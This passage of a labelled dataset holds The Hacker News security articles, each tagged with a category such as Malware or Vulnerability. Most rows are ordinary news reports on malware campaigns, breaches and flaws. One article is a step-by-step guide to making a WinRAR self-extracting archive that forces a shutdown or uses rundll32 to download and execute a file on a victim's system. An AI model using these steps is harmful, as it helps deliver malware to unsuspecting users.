You should also consider clearing your cookies when visiting the banking or financial accounts, and ""keep an eye on their security settings and digital assets to prevent compromise and leakage,"" researchers advised.
",Malware
Smile! Hackers Can Remotely Access Your Samsung SmartCam Security Cameras,https://thehackernews.com/2017/01/samsung-smartcam-camera.html,"It's not necessary to break into your computer or smartphone to spy on you. Today all devices in our home are becoming more connected to networks than ever to make our lives easy.

But what's worrisome is that these connected devices can be turned against us, anytime, due to lack of stringent security measures and insecure encryption mechanisms implemented in these Internet of Things (IoTs) devices.

The most recent victim of this issue is the Samsung's range of SmartCam home security cameras.

Yes, it's hell easy to hijack the popular Samsung SmartCam security cameras, as they contain a critical remote code execution (RCE) vulnerability that could let hackers gain root access and take full control of these devices.

SmartCam is one of the Samsung's SmartThings range of devices, which allows its users to connect, manage, monitor and control ""smart"" devices in their home using their smartphones or tablets.

Back in 2014, the hacking group Exploiteers, which was previously known as GTVHacker, listed some SmartCam exploits that could have allowed remote attackers to execute arbitrary commands and let them change the camera's administrator password.

But instead of patching the flaw, Samsung decided to rip out the accessible web interface and use an alternate route that forced its users to run their SmartCams through the company's SmartCloud website.

So, it turns out that Exploiteers broke into the Samsung's SmartCam devices again with a different hacking exploit, allowing hackers to view what are supposed to be private video feeds.

What went wrong? Samsung had patched the original flaws but left one set of scripts untouched: Some PHP scripts that provide firmware updates through the SmartCam's ""iWatch"" webcam monitoring software.

These PHP scripts have a command injection vulnerability which could allow unauthorized users without admin privileges to execute remote shell commands with root privileges.
""The vulnerability occurs because of improper sanitization of the iWatch firmware update filename,"" a post on Exploiteers website reads. ""A specially crafted request allows an attacker the ability to inject his command providing the attacker remote root command execution.""
This defect, in turn, allows the web management system to be turned on, which was turned off by the vendor.

Exploiteers has also provided a proof-of-concept video demonstration that shows their exploit successfully working on the SmartCam SNH-1011 model, but security experts believe all Samsung SmartCam devices are affected.

How to Mitigate the Vulnerability?

An official patch from Samsung does not appear to be available yet, but the good news is that the folks at Exploiteers have shared a DIY patch that can be downloaded by SmartCam users.

However, I personally advise users to wait for an official firmware update from the company, rather than running untrusted code on their devices, though there's no indication yet if Samsung has any plan to issue a proper patch in upcoming days.

Another way to mitigate the vulnerability is by keeping your SmartCam behind a network firewall.

Samsung has yet to respond on the issue.

",Vulnerability
Cryptographers : Satellite phones vulnerable to eavesdropping,https://thehackernews.com/2012/02/cryptographers-satellite-phones.html,"Cryptographers : Satellite phones vulnerable to eavesdropping
Researchers at a German university claim to have cracked the algorithm that secures satellite phone transmissions. They have broken the encryption of the two main standards used to protect calls from satellite phones, giving them the ability to intercept conversations that are meant to be private. The attacks on the GMR-1 and GMR-2 standards are thought to be the first such work against the satellite phone ciphers.

After reverse engineering phones that use the GMR-1 and GMR-2 standards, the team discovered serious cryptographic weaknesses that allow attackers using a modest PC running open-source software to recover protected communications in less than an hour.

The Ministry of Defence has said a satellite phone crack of the A5-GMR-1 and A5-GMR-2 encryption algorithms crack by researchers will not affect UK military use of satellite phones. ""All military users of mobile satellite communication systems are aware of the potential threats to such systems and are briefed explicitly that they are only authorised to pass unclassified information (both voice and data) over these systems,"" an MoD spokeswoman said in an email statement. ""Protected information is never sent over an unclassified system, unless it is being employed in conjunction with an accredited secure device.""

The findings, laid out in a paper (PDF) to be presented at the IEEE Symposium on Security and Privacy 2012, are the latest to poke holes in proprietary encryption algorithms. Their report is titled ""Don't Trust Satellite Phones"" and shows how someone with a ""suitably programmed computer"" and software radio capable of receiving satellite frequencies can hack calls. These include ones made by disaster relief agencies and the military.

MI5 and the Secret Intelligence Service (SIS) declined to comment on use of satellite phones by the intelligence services. ""We have shown that we can decrypt communications secured according to the GMR-1 standard,"" said the researchers. ""As a proof-of-concept, we have intercepted our own downlink (i.e. data sent from the satellite) speech data in the Thuraya network.""

Following their work, the researchers recommend that users think twice before using satellite phones for private conversations.""Our results show that the use of satellite phones harbours dangers and the current encryption algorithms are not sufficient"", said Ralf Hund, the Chair for System Security at the Ruhr University Bochum.

",Vulnerability
Warning: Cross-Platform ElectroRAT Malware Targeting Cryptocurrency Users,https://thehackernews.com/2021/01/warning-cross-platform-electrorat.html,"Cybersecurity researchers today revealed a wide-ranging scam targeting cryptocurrency users that began as early as January last year to distribute trojanized applications to install a previously undetected remote access tool on target systems.
Called ElectroRAT by Intezer, the RAT is written from ground-up in Golang and designed to target multiple operating systems such as Windows, Linux, and macOS.
The apps are developed using the open-source Electron cross-platform desktop app framework.
""ElectroRAT is the latest example of attackers using Golang to develop multi-platform malware and evade most antivirus engines,"" the researchers said.
""It is common to see various information stealers trying to collect private keys to access victims wallets. However, it is rare to see tools written from scratch and targeting multiple operating systems for these purposes.""
The campaign, first detected in December, is believed to have claimed over 6,500 victims based on the number of unique visitors to the Pastebin pages used to locate the command and control (C2) servers.
""Operation ElectroRAT"" involved the attackers creating three different tainted applications — each with a Windows, Linux, Mac version — two of which pose as cryptocurrency trade management applications by the name of ""Jamm"" and ""eTrade,"" while a third app called ""DaoPoker"" masquerades as a cryptocurrency poker platform.
Not only are the malicious apps hosted on websites built specifically for this campaign, but the services are also advertised on Twitter, Telegram, and legitimate cryptocurrency and blockchain-related forums such as ""bitcointalk"" and ""SteemCoinPan"" in an attempt to lure unsuspecting users into downloading the tainted apps.
Once installed, the app opens a harmless-looking user interface when in reality, the ElectroRAT runs hidden in the background as ""mdworker,"" which comes with intrusive capabilities to capture keystrokes, take screenshots, upload files from disk, download arbitrary files, and execute malicious commands received from the C2 server on the victim's machine.
Interestingly, an analysis of the Pastebin pages — which were published by a user named ""Execmac"" as early as January 8, 2020 — and those posted by the same user prior to the campaign found C2 servers used in conjunction with Windows malware like Amadey and KPOT, suggesting the attackers have pivoted from using well-known trojans to a new RAT capable of targeting multiple operating systems.
""Another motivating factor is this is an unknown Golang malware, which has allowed the campaign to fly under the radar for a year by evading all antivirus detections,"" the researchers said.
Users who have fallen victim to this campaign are urged to kill the process, delete all files related to the malware, move the funds to a new wallet, and change their passwords.

",Malware
This 10-year-old Boy becomes the youngest Bug Bounty Hacker,https://thehackernews.com/2016/05/youngest-hacker.html,"""Talent has no Age Limit""

That's what I said for a 10-year-old Finnish boy on our official Facebook page while sharing his recent achievement with our readers i.e. Winning $10,000 bug bounty from Instagram.

Last Tuesday when we at The Hacker News first acknowledged this talented boy and the flaw he discovered in image-sharing social network Instagram, I did not have an idea that the Facebook post would get an enormous response from our followers, encouraging me to introduce Jani to our website readers too.

Those who aren't aware, Jani from Helsinki recently reported an Instagram bug to Facebook that allowed him to delete other Instagram users' comments just by entering a malicious code into the app's comment field.
""I would have been able to eliminate anyone's comment from Instagram, even Justin Bieber,"" Jani told a local newspaper.
Jani responsibly disclosed the vulnerability details to Facebook, who owns Instagram, in February and rewarded with €9000 (Over US$10,000) under Facebook's bug bounty program. He said he will use the money to buy a football and a new bicycle.

Jani, whose last name is not being shared at the request of his parents, has been interested in coding and video games since the age of 8.

He has been learning about hacking and programming from instructional videos on YouTube, he told Finnish media, adding that his dream job is to become an information security expert. ""It would be my dream job. Security is really important,"" he said.

The Finnish kid has previously discovered a number of vulnerabilities in different websites, but this Instagram bug made him the youngest publicly acknowledged bug bounty hunter to report a valid bug and earn reward.

",Vulnerability
"Google+ is Shutting Down After a Vulnerability Exposed 500,000 Users' Data",https://thehackernews.com/2018/10/google-plus-shutdown.html,"Google is going to shut down its social media network Google+ after the company suffered a massive data breach that exposed the private data of hundreds of thousands of Google Plus users to third-party developers.

According to the tech giant, a security vulnerability in one of Google+'s People APIs allowed third-party developers to access data for more than 500,000 users, including their usernames, email addresses, occupation, date of birth, profile photos, and gender-related information.

Since Google+ servers do not keep API logs for more than two weeks, the company cannot confirm the number of users impacted by the vulnerability.

However, Google assured its users that the company found no evidence that any developer was aware of this bug, or that the profile data was misused by any of the 438 developers that could have had access.
""However, we ran a detailed analysis over the two weeks prior to patching the bug, and from that analysis, the Profiles of up to 500,000 Google+ accounts were potentially affected. Our analysis showed that up to 438 applications may have used this API,"" Google said in blog post published today.
The vulnerability was open since 2015 and fixed after Google discovered it in March 2018, but the company chose not to disclose the breach to the public—at the time when Facebook was being roasted for Cambridge Analytica scandal.

Though Google has not revealed the technical details of the security vulnerability, the nature of the flaw seems to be something very similar to Facebook API flaw that recently allowed unauthorized developers to access private data from Facebook users.

Besides admitting the security breach, Google also announced that the company is shutting down its social media network, acknowledging that Google+ failed to gain broad adoption or significant traction with consumers.
""The consumer version of Google+ currently has low usage and engagement: 90 percent of Google+ user sessions are less than five seconds,"" Google said.
In response, the company has decided to shut down Google+ for consumers by the end of August 2019. However, Google+ will continue as a product for Enterprise users.

Google Introduces New Privacy Controls Over Third-Party App Permissions

As part of its ""Project Strobe,"" Google engineers also reviewed third-party developer access to Google account and Android device data; and has accordingly now introduced some new privacy controls.

When a third-party app prompts users for access to their Google account data, clicking ""Allow"" button approves all requested permissions at once, leaving an opportunity for malicious apps to trick users into giving away powerful permissions.
But now Google has updated its Account Permissions system that asks for each requested permission individually rather than all at once, giving users more control over what type of account data they choose to share with each app.

Since APIs can also allow developers to access users' extremely sensitive data, like that of Gmail account, Google has limited access to Gmail API only for apps that directly enhance email functionality—such as email clients, email backup services and productivity services.

Google shares fell over 2 percent to $1134.23 after the data breach reports.

",Data_Breaches
North Korean Hackers Targeting Defense Firms with ThreatNeedle Malware,https://thehackernews.com/2021/02/north-korean-hackers-targeting-defense.html,"A prolific North Korean state-sponsored hacking group has been tied to a new ongoing espionage campaign aimed at exfiltrating sensitive information from organizations in the defense industry.
Attributing the attacks with high confidence to the Lazarus Group, the new findings from Kaspersky signal an expansion of the APT actor's tactics by going beyond the usual gamut of financially-motivated crimes to fund the cash-strapped regime.
This broadening of its strategic interests happened in early 2020 by leveraging a tool called ThreatNeedle, researchers Vyacheslav Kopeytsev and Seongsu Park said in a Thursday write-up.
At a high level, the campaign takes advantage of a multi-step approach that begins with a carefully crafted spear-phishing attack leading eventually to the attackers gaining remote control over the devices.
ThreatNeedle is delivered to targets via COVID-themed emails with malicious Microsoft Word attachments as initial infection vectors that, when opened, run a macro containing malicious code designed to download and execute additional payloads on the infected system.
The next-stage malware functions by embedding its malicious capabilities inside a Windows backdoor that offers features for initial reconnaissance and deploying malware for lateral movement and data exfiltration.
""Once installed, ThreatNeedle is able to obtain full control of the victim's device, meaning it can do everything from manipulating files to executing received commands,"" Kaspersky security researchers said.
Kaspersky found overlaps between ThreatNeedle and another malware family called Manuscrypt that has been used by Lazarus Group in previous hacking campaigns against the cryptocurrency and mobile games industries, besides uncovering connections with other Lazarus clusters such as AppleJeus, DeathNote, and Bookcode.
Interestingly, Manuscrypt was also deployed in a Lazarus Group operation last month, which involved targeting the cybersecurity community with opportunities to collaborate on vulnerability research, only to infect victims with malware that could cause the theft of exploits developed by the researchers for possibly undisclosed vulnerabilities, thereby using them to stage further attacks on vulnerable targets of their choice.
Perhaps the most concerning of the development is a technique adopted by the attackers to bypass network segmentation protections in an unnamed enterprise network by ""gaining access to an internal router machine and configuring it as a proxy server, allowing them to exfiltrate stolen data from the intranet network to their remote server.""
The cybersecurity firm said organizations in more than a dozen countries have been affected to date.
At least one of the spear-phishing emails referenced in the report is written in Russian, while another message came with a malicious file attachment named ""Boeing_AERO_GS.docx,"" possibly implying a U.S. target.
Earlier this month, three North Korean hackers associated with the military intelligence division of North Korea were indicted by the U.S. Justice Department for allegedly taking part in a criminal conspiracy that attempted to extort $1.3 billion in cryptocurrency and cash from banks and other organizations around the world.
""In recent years, the Lazarus group has focused on attacking financial institutions around the world,"" the researchers concluded. ""However, beginning in early 2020, they focused on aggressively attacking the defense industry.""
""While Lazarus has also previously utilized the ThreatNeedle malware used in this attack when targeting cryptocurrency businesses, it is currently being actively used in cyberespionage attacks.""

",Malware
Over 1000 Wendy's Restaurants Hit by Credit Card Hackers,https://thehackernews.com/2016/07/over-1000-wendys-restaurants-hit-by.html,"The Popular fast-food restaurant chain Wendy's on Thursday admitted that a massive cyber attack had hit more than 1,000 of its restaurants across the country.

The burger chain did not speculate how many people may have been affected, though it did confirm that the hackers were able to steal its customers' credit and debit card information.

The data breach is more than three times bigger than initially thought.

The original data breach was believed to have affected ""fewer than 300"" of its 5,144 franchised locations in the United States when the malware was discovered in May.

The Malware had been installed on Point-of-Sale (PoS) systems in the affected restaurants and was able to obtain cardholder's name, payment card number, expiration date, service code, cardholder verification value, among other data.
The data breach began in fall 2015 and discovered in February this year, and the company went public with in May.

Just last month, Wendy's said the company learned of a second malware variant that had infected its systems and disabled it from all locations.

The company is now offering one year of ""complimentary"" fraud protection services to affected customers.

Wendy's has blamed a third-party for the cyber attack, saying a ""service provider"" had its remote access credentials compromised that allowed attackers to deploy malware remotely to some franchisees' POS systems.

Once identified, the US burger chain found a method of disabling the malware and has done so at all affected locations. Customers can see the list of affected locations through Wendy's website.

So, if you have used your debit or credit card at Wendy's restaurant early this year, you are advised to keep a close eye on your bank account statements.

",Data_Breaches
Greedy North Korean Hackers Targeting Cryptocurrencies and Point-of-Sale Terminals,https://thehackernews.com/2017/12/lazarus-hacking-bitcoin.html,"The North Korean hacking group has turned greedy.

Security researchers have uncovered a new widespread malware campaign targeting cryptocurrency users, believed to be originated from Lazarus Group, a state-sponsored hacking group linked to the North Korean government.

Active since 2009, Lazarus Group has been attributed to many high profile attacks, including Sony Pictures Hack, $81 million heists from the Bangladesh Bank, and the latest — WannaCry.

The United States has officially blamed North Korea for global WannaCry ransomware attack that infected hundreds of thousands of computers across more than 150 countries earlier this year.

In separate news, security experts have blamed Lazarus group for stealing bitcoins worth millions from the South Korean exchange Youbit, forcing it to shut down and file for bankruptcy after losing 17% of its assets.

Researchers from security firm Proofpoint have published a new report, revealing a connection between Lazarus Group and a number of multistage cyber attacks against cryptocurrency users and point-of-sale systems.
""The group has increasingly focused on financially motivated attacks and appears to be capitalizing on both the increasing interest and skyrocketing prices for cryptocurrencies,"" the researchers said. ""The Lazarus Group's arsenal of tools, implants, and exploits is extensive and under constant development.""
After analyzing a large number of spear phishing emails with different attack vectors from multiple spear phishing campaigns, researchers discovered a new PowerShell-based reconnaissance implant from Lazarus Group arsenal, dubbed PowerRatankba.

Encryption, obfuscation, functionality, decoys, and command-and-control servers used by PowerRatankba closely resembles the original Ratankba implant developed by Lazarus Group.

The PowerRatankba implant is being spread using a massive email campaign through the following attack vectors:
Windows executable downloader dubbed PowerSpritz
Malicious Windows Shortcut (LNK) files
Several malicious Microsoft Compiled HTML Help (CHM) files
Multiple JavaScript (JS) downloaders
Macro-based Microsoft Office documents
Backdoored popular cryptocurrency applications hosted on fake websites
PowerRatankba, with at least two variants in the wild, acts as a first-stage malware that delivers a fully-featured backdoor (in this case, Gh0st RAT) only to those targeted companies, organizations, and individuals that have interest in cryptocurrency.
""During our research, we discovered that long-term sandboxing detonations of PowerRatankba not running cryptocurrency related applications were never infected with a Stage2 implant. This may indicate that the PowerRatankba operator(s) were only interested in infecting device owners with an obvious interest in various cryptocurrencies,"" reads the 38-page-long report [PDF] published by Proofpoint.
Once installed, Gh0st RAT allows cybercriminals to steal credentials for cryptocurrency wallets and exchanges.

It's notable that PowerRatankba and Gh0st RAT don't exploit any zero-day vulnerability; instead, Lazarus Group relies on mixed programming practices, like C&C communication over HTTP, use of Spritz encryption algorithm and the Base64-encoded custom encryptor.
""It is already well-known that Lazarus Group has targeted and successfully breached several prominent cryptocurrency companies and exchanges,"" the researchers say. ""From these breaches, law enforcement agencies suspect that the group has amassed nearly $100 million worth of cryptocurrencies based on their value today.""
Besides stealing cryptocurrencies, the group was also found infecting SoftCamp point-of-sale (POS) terminals, largely deployed in South Korea, using RatankbaPOS malware for stealing credit card data.

Since RatankbaPOS was sharing same C&C server as the PowerRatankba implant, it is believed that both the implants are linked to Lazarus Group.

The explosive growth in cryptocurrency values has motivated not only traders but also hackers to invest all their time and resources in making digital wealth.

More details about the new malware campaigns run by Lazarus Group can be found in the in-depth report [PDF], titled ""North Korea Bitten by Bitcoin Bug—Financially motivated campaigns reveal a new dimension of the Lazarus Group,"" published by PowerPoint on Wednesday.

",Malware
WD TV Live Hub Compromised - Multiple Vulnerabilities Found By Dr. Alberto Fontanella,https://thehackernews.com/2011/07/wd-tv-live-hub-compromised-multiple.html,"WD TV Live Hub Compromised - Multiple Vulnerabilities Found By Dr. Alberto Fontanella






Dr. Alberto Fontanella found on (Western Digital) WD TV Live Hub appliance with the last firmware installed (2.06.10) and 3 exploits to get admin password, deface appliance and get root shell:

Author: Dr. Alberto Fontanella
E-mail: itsicurezza<0x40>yahoo.it
Web: www.fulgursec.com

Vendor: Western Digital
Vendor Web: www.wdc.com
Version: WD TV Live Hub <= 2.06.10 (firmware) ALL VERSIONS
Type: Appliance
Issues: Storage Anonymous Access, Full Path Disclosure, Bypass Authentication Schema, Appliance Command Execution, DoS, OS , Command Execution, Root Shell ;-)


* AF - Owning WD TV Live Hub
FILE: AF-Owning_WD_TV_Live_Hub.pdf
INFO: Paper that shows all issues found on WD TV Live Hub and how use it to get Root!

* AF - PoC/Exploit WD TV Live Hub Get Admin Password
FILE: AF-WD_TV_Live_Hub_password.sh
INFO: Exploit (Bypass Authentication Schema) to Get Admin Password of Web Console

* AF - PoC/Exploit WD TV Live Hub Deface
FILE: AF-WD_TV_Live_Hub_deface.sh
INFO: Exploit (Appliance Command Execution) to Deface WD TV Live Hub

*AF - PoC/Exploit WD TV Live Hub Get Root Shell
FILE: AF-WD_TV_Live_Hub_root_shell.sh
INFO: Exploit (OS Command Execution) to Get Root Shell

Download all Files Here
",Vulnerability
"FBI, DHS Warn Of Possible Major Ransomware Attacks On Healthcare Systems",https://thehackernews.com/2020/10/ransomware-attack-hospital.html,"The US Federal Bureau of Investigation (FBI), Departments of Homeland Security, and Health and Human Services (HHS) issued a joint alert Wednesday warning of an ""imminent"" increase in ransomware and other cyberattacks against hospitals and healthcare providers.
""Malicious cyber actors are targeting the [Healthcare and Public Health] Sector with TrickBot malware, often leading to ransomware attacks, data theft, and the disruption of healthcare services,"" the Cybersecurity and Infrastructure Security Agency said in its advisory.
The infamous botnet typically spreads via malicious spam email to unsuspecting recipients and can steal financial and personal data and drop other software, such as ransomware, onto infected systems.
It's worth noting that cybercriminals have already used TrickBot against a major healthcare provider, Universal Health Services, whose systems were crippled by Ryuk ransomware late last month.
TrickBot has also seen a severe disruption to its infrastructure in recent weeks, what with Microsoft orchestrating a coordinated takedown to make its command-and-control (C2) servers inaccessible.
""The challenge here is because of the attempted takedowns, the TrickBot infrastructure has changed and we don't have the same telemetry we had before,"" Hold Security's Alex Holden told The New York Times.
Although the federal report doesn't name any threat actor, the advisory makes a note of TrickBot's new Anchor backdoor framework, which has been recently ported to Linux to target more high-profile victims.
""These attacks often involved data exfiltration from networks and point-of-sale devices,"" CISA said. ""As part of the new Anchor toolset, Trickbot developers created Anchor_DNS, a tool for sending and receiving data from victim machines using Domain Name System (DNS) tunneling.""
As The Hacker News reported yesterday, Anchor_DNS is a backdoor that allows victim machines to communicate with C2 servers via DNS tunneling to evade network defense products and make their communications blend in with legitimate DNS traffic.
Also coinciding with the warning is a separate report by FireEye, which has called out a financially-motivated threat group it calls ""UNC1878"" for the deployment of Ryuk ransomware in a series of campaigns directed against hospitals, retirement communities, and medical centers.
Urging the HPH sector to patch operating systems and implement network segmentation, CISA also recommended not paying ransoms, adding it may encourage bad actors to target additional organizations.
""Regularly back up data, air gap, and password protect backup copies offline,"" the agency said. ""Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, secure location.""

",Cyber_Attack
First Irish language Ransomware Malware demanding €100 for unlock,https://thehackernews.com/2012/09/first-irish-language-ransomware-malware.html,"A new Ransomware Malware dubbed Gaeilge locks up an infected computer and attempts to extort €100 from the user for an unlock code. The demand for cash reportedly appeared in poorly written Gaelic, and the software nastie was spotted on a computer in County Donegal, Ireland.

Gaeilge tell computer users that attempts to access online pornography sent it into shut-down mode. But instead of giving in to the monetary request, the victim took the compromised machine to the repair store, The Register said.

Ransomware (also referred to in some cases as cryptoviruses, cryptotrojans or cryptoworms) comprises a class of malware which restricts access to the computer system that it infects, and demands a ransom paid to the creator of the malware in order for the restriction to be removed.

Technician Brian McGarvey of Techie2u computer repairs told that it was the first time he'd come across a virus written in the Irish language during his 12 years of experience in the job. ""It's quite a sophisticated and convincing scam,"" McGarvey said

",Malware
Adobe Releases Emergency Flash Player Update to Address Critical Vulnerability,https://thehackernews.com/2014/11/adobe-flash-player-update.html,"Adobe has rolled-out an urgent out-of-band update for a critical remote code-execution vulnerability in its popular Flash Player that is currently being exploited by hackers.

The critical vulnerability (CVE 2014-8439) in Flash Player for Windows, Mac and Linux was originally mitigated more than a month ago in October 14, 2014 patch release, but a French researcher Kafeine found its exploits in the Angler and Nuclear malware kits after Adobe released a patch, according to security vendor F-Secure.
""The vulnerability is being exploited in blind mass attack. No doubt about it : the team behind Angler is really good at what it does,"" Kafeine said in a blog post.
The vulnerability allows an attacker to execute arbitrary code due to a weakness in the way a dereferenced pointer to memory is handled. An attacker could serve a specially crafted Flash file to trigger the vulnerability, which would lead to the execution of attacker's code in order to take control of a target system.

Adobe rated the vulnerability as critical and recommended users and administrators to update their software on Windows, Mac OS X and Linux systems to the latest iteration as soon as possible.
""We considered the possibility that maybe the latest patch [from October] prevented the exploit from working and the root cause of the vulnerability was still unfixed, so we contacted the Adobe Product Security Incident Response Team,"" Timo Hirvonen, a senior researcher at F-Secure, wrote on Tuesday.
""They confirmed our theory and released an out-of-band update to provide additional hardening against a vulnerability in the handling of a dereferenced memory pointer that could lead to code execution.""
According to the recent security bulletin, Adobe has released the latest update for its Flash plugin, version 15.0.0.239 for Windows and Mactintosh users, version 13.0.0.258 for those that use the Adobe Flash Player Extended Support Release, and version 11.2.202.424 for Linux users.

Microsoft will soon be releasing security updates for Internet Explorer 10 and 11 and Google will be releasing for Chrome to fix the Flash Players embedded in them.

This will be Adobe's second attempt to snap shut this particular security vulnerability in Flash, and the company said the updates for the Windows, Linux and Apple OS X versions of Flash Player will ""provide additional hardening"" against the previous CVE-2014-8439 flaw that was patched in the past.

In order to know the version of Flash Player you are running currently, visit the About Flash Player page. Users can update the latest iterations from Adobe Flash Player Download Center, or via the update mechanism within the product when prompted.

",Vulnerability
Self-extracting archive (SFX) as Creative Virus Handler,https://thehackernews.com/2012/01/self-extracting-archive-sfx-as-creative.html,"Self-extracting archive (SFX) as Creative Virus Handler


Yesterday I Found and interesting article about ""Self-extracting archive (SFX)"" on Unremote.org by DarkCoderSc. SFX is a little application that contains compressed files. Creating a customized WinRAR SFX archives is a very easy task, but not all people know how to do it. It is therefore exactly the same as a .ZIP or .RAR archive. The only difference is that, when you execute it, will automatically extract the files. However, if you add some parameters, you can execute them after extraction or execute a shell command before extraction. So this feature can be used as good virus handler. Let's See how?

DarkCoderSc shared his experience with us using a Video Demonstration as shown Below.
Start up the WinRAR application; click 'Browse for folder' under the 'File' menu and browse to the location of the file.
With the file highlighted, clicking on the 'Add' button will kickoff the archiving process and selecting the 'Create SFX archive' option will give the file its self-extracting feature.

Under the 'Advanced' tab and clicking on the 'SFX options' button, where we can now configure our 'Advanced SFX options'.
In the first input field you can add a file name that already exist on the current drive or one of the extracted files to execute after the extraction.
In the second input field you can add a file name that already exist in the current drive to execute before the extraction.
PART 1: Run Basic Windows Shell Commands using SFX:
Example 1: %SYSTEMDRIVE%\windows\system32\cmd.exe /k shutdown -s -f -t 3600
In the first input enter this command if we generate the SFX package and run it after the extraction we see a DOS window and a windows notification saying our computer will shutdown in 1 hour.

Example 2: %SYSTEMDRIVE%\windows\notepad.exe c:\atextfile.txt
You can do this with any other present application on the system such as opening a notepad file.

Example 3: %SYSTEMDRIVE%\Program Files\Internet Explorer\iexplore.exe https://unremote.org/
Opening a webpage using Internet Explorer

PART 2: Run Advance Tricky Commands using SFX
Using only a little .dll in the SFX package attacker can download and execute an application on victim's system that can or cannot be a virus and For this we just required ""Rundll32 Microsoft application"" and ""FASM (Flat Assembler) Compiler"".

Now Create a new folder and a new file called ourdll.asm when its done open this file in FASM and paste this code in the file. Edit the path to Files in sample Code for personal Usage.

Now in the menu bar click on ""Run"" >> ""Compile"". Our dll is ready now, Let's create our SFX file downloader .

You need to follow the next steps:
- Right click on the dll and click on ""Add to archive"" << WinRAR explorer option
- Choose SFX package in the options list
- Go to Advanced Settings tab
- Click on SFX Settings button
- In extract to input add this line - ""%APPDATA%\dcsc\ourdll.dll""
- In the first input parameter enter this line
%SYSTEMDRIVE%\windows\system32\rundll32.exe %APPDATA%\dcsc\ourdll.dll, dcscdownload

Now we can generate our archive, if we have correctly setup the SFX, then it will download and execute the chosen file after the full extractions.

PART 3: SFX as System Killer
The SFX manager includes two other dangerous functions (Run as administrator and Delete files after extraction). The option Run as administrator will ask to run it as admin, so the SFX will have all the rights on the system and, after extraction, the delete files will be usefull to do harmful things in the system.

To Get the Steps of this Method, You should Read the Original Article Written By Unremote.org.

",Vulnerability
Cryptocurrency Mining Malware Infected Over Half-Million PCs Using NSA Exploit,https://thehackernews.com/2018/01/cryptocurrency-mining-malware.html,"2017 was the year of high profile data breaches and ransomware attacks, but from the beginning of this year, we are noticing a faster-paced shift in the cyber threat landscape, as cryptocurrency-related malware is becoming a popular and profitable choice of cyber criminals.

Several cybersecurity firms are reporting of new cryptocurrency mining viruses that are being spread using EternalBlue—the same NSA exploit that was leaked by the hacking group Shadow Brokers and responsible for the devastating widespread ransomware threat WannaCry.

Researchers from Proofpoint discovered a massive global botnet dubbed ""Smominru,"" a.k.a Ismo, that is using EternalBlue SMB exploit (CVE-2017-0144) to infect Windows computers to secretly mine Monero cryptocurrency, worth millions of dollars, for its master.

Active since at least May 2017, Smominru botnet has already infected more than 526,000 Windows computers, most of which are believed to be servers running unpatched versions of Windows, according to the researchers.
""Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz,"" the researchers said.
The botnet operators have already mined approximately 8,900 Monero, valued at up to $3.6 million, at the rate of roughly 24 Monero per day ($8,500) by stealing computing resources of millions of systems.
The highest number of Smominru infection has been observed in Russia, India, and Taiwan, the researchers said.

The command and control infrastructure of Smominru botnet is hosted on DDoS protection service SharkTech, which was notified of the abuse but the firm reportedly ignored the abuse notifications.

According to the Proofpoint researchers, cybercriminals are using at least 25 machines to scan the internet to find vulnerable Windows computers and also using leaked NSA's RDP protocol exploit, EsteemAudit (CVE-2017-0176), for infection.
""As Bitcoin has become prohibitively resource-intensive to mine outside of dedicated mining farms, interest in Monero has increased dramatically. While Monero can no longer be mined effectively on desktop computers, a distributed botnet like that described here can prove quite lucrative for its operators,"" the researchers concluded.
""The operators of this botnet are persistent, use all available exploits to expand their botnet, and have found multiple ways to recover after sinkhole operations. Given the significant profits available to the botnet operators and the resilience of the botnet and its infrastructure, we expect these activities to continue, along with their potential impacts on infected nodes.""
Another security firm CrowdStrike recently published a blog post, reporting another widespread cryptocurrency fileless malware, dubbed WannaMine, using EternalBlue exploit to infect computers to mine Monero cryptocurrency.

Since it does not download any application to an infected computer, WannaMine infections are harder to detect by antivirus programs. CrowdStrike researchers observed the malware has rendered ""some companies unable to operate for days and weeks at a time.""

Besides infecting systems, cybercriminals are also widely adopting cryptojacking attacks, wherein browser-based JavaScript miners utilise website visitors' CPUs power to mine cryptocurrencies for monetisation.

Since recently observed cryptocurrency mining malware attacks have been found leveraging EternalBlue, which had already been patched by Microsoft last year, users are advised to keep their systems and software updated to avoid being a victim of such threats.

",Cyber_Attack
Mariposa botnet creator goes on trial,https://thehackernews.com/2012/08/mariposa-botnet-creator-goes-on-trial.html,"26-year-old Slovenian hacker known as Iserdo stands thought to have been behind the Mariposa botnet is on trial in Slovenia, charged with having masterminded an international cybercrime gang.

At its height, the Mariposa botnet infected up to 12.7 million PCs, with more than half of the Fortune 1,000 companies believed to have been compromised, including 40 major banks. Once a computer had been compromised and brought into the botnet, operators could steal information from innocent users - including credit card details and banking passwords.

Computer crime-fighting authorities had succeeded in bringing down the Mariposa botnet at the end of 2009, FBI officials worked with Spanish and Slovenian authorities to track down Mariposa's mastermind, Iserdo.

He was said to charge between $500 for basic versions of the botnet code and up to $1,300 for more advanced ones, which included customised features, such as capabilities which allowed its operators to to steal credit cards and online banking credentials.

The code was even found to have infected 3,000 HTC handsets shipped by mobile operator Vodafone. Mariposa style botnets were built using Škorjanc's ""Butterfly Bot"" code, according to the Slovenian authorities, and it was sold to cyber criminals worldwide. Mariposa, the Spanish version of the botnet, was the largest and the most notorious.

",Malware
SamSam Ransomware Attacks Extorted Nearly $6 Million,https://thehackernews.com/2018/07/samsam-ransomware-attacks.html,"Ransomware has become a multimillion-dollar black market business for cybercriminals, and SamSam being a great example.

New research revealed that the SamSam ransomware had extorted nearly $6 million from its victims since December 2015, when the cyber gang behind the ransomware started distributing the malware in the wild.

Researchers at Sophos have tracked Bitcoin addresses owned by the attackers mentioned on ransom notes of each SamSam version and found the attackers have received more than $5.9 million from just 233 victims, and their profits are still on the rise, netting around $300,000 per month.

""In total, we have now identified 157 unique addresses which have received ransom payments as well as 89 addresses which have been used on ransom notes and sample files but, to date, have not received payments,"" the new report by Sophos reads.

SamSam Ransomware Attacks
>

What makes SamSam stand out from other forms of ransomware is that SamSam is not distributed in an unplanned way via spam email campaigns; instead, attackers choose potential targets and infect systems manually.

Attackers first compromise the RDP on a targeted system—either by conducting brute force attack or using stolen credentials purchased from the dark web—and then attempt to strategically deploy SamSam ransomware throughout the network by exploiting vulnerabilities in other systems.

Unlike other well-known ransomware like WannaCry and NotPetya, SamSam does not include any worm-like or virus capabilities to spread by itself. Instead, the ransomware relies on the human attacker to spread it.

Once they're on the entire network, the ransomware then encrypts the system's data and demand a huge ransom payment (usually more than $50,000 which is much higher than normal) in Bitcoin in exchange for the decryption keys.

